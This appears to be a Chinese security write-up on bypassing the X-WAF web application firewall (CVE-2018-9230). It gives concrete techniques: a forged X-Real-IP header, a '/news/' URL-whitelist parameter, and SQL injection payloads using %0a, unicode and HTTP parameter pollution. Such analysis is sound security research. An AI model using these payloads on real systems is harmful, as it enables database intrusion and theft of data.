Bypass X-WAF SQL注入防御(多姿势)
https://mp.weixin.qq.com/s/5TQddrOqa8MmtsuHoCRu0Q Bypass X-WAF SQL注入防御(多姿势)
https://www.anquanke.com/post/id/103771 打破基于OpenResty的WEB安全防护(CVE-2018-9230)
先来一张拦截效果图
利用参数溢出Bypass:
绕过姿势:带上 X-Real-IP:8.8.8.8
伪造客户端IP绕过:
另外有趣的是,在blackip.rule里面,把8.8.8.8放置在黑名单里面,但这并没有什么用,IP白名单已经跳出多条件判断,不会再进行IP黑名单检测。CC攻击的防御也主要是从客户端获取IP,也可以伪造客户端IP轻易绕过限制。
[{"Id":2,"RuleType":"blackip","RuleItem":"8.8.8.8"},{"Id":3,"RuleType":"blackip","RuleItem":"1.1.1.1"}]
同样来看一下url白名单white_url_check()函数:
`function _M.white_url_check() if config.config_white_url_check == "on" then local URL_WHITE_RULES = _M.get_rule('writeurl.rule') local REQ_URI = ngx.var.request_uri if URL_WHITE_RULES ~= nil then for _, rule in pairs(URL_WHITE_RULES) do if rule ~= "" and rulematch(REQ_URI, rule, "joi") then return true end end end endend`
添加了一下URL白名单功能,感觉无效,对比了一下rules文件,可以发现加载的rule文件名不一致。
这里应该是作者的一个笔误,writeurl.rule和whiteUrl.rule。
绕过姿势:带上 &a=/news/ 参数
默认url白名单配置:
[{"Id":73,"RuleType":"whiteUrl","RuleItem":"/news/"}]
另外,这里使用ngx.re.find进行ngx.var.request_uri和rule匹配,只要url中存在/news/,就不进行检测,绕过安全防御规则。比如 : /test/sql,php/news/?id=1、/test/sql,php?id=1&b=/news/ 等形式可绕过。
绕过姿势一:%0a
由于使用的是joi来修饰,我们可以用%0a来进行绕过。
/sql.php?id=1 union%0aselect 1,schema_name,3%0afrom /!12345information_schema.schemata/
绕过姿势二:%u特性
主要利用IIS服务器支持unicode的解析
绕过姿势三:HPP+GPC
使用GPC三种方式可以进行参数传递,利用apsx特性,将获取到参数拼接起来,可成功Bypass
/sql.aspx?id=1 union/*
POST:Id=2*/select null,system_user,null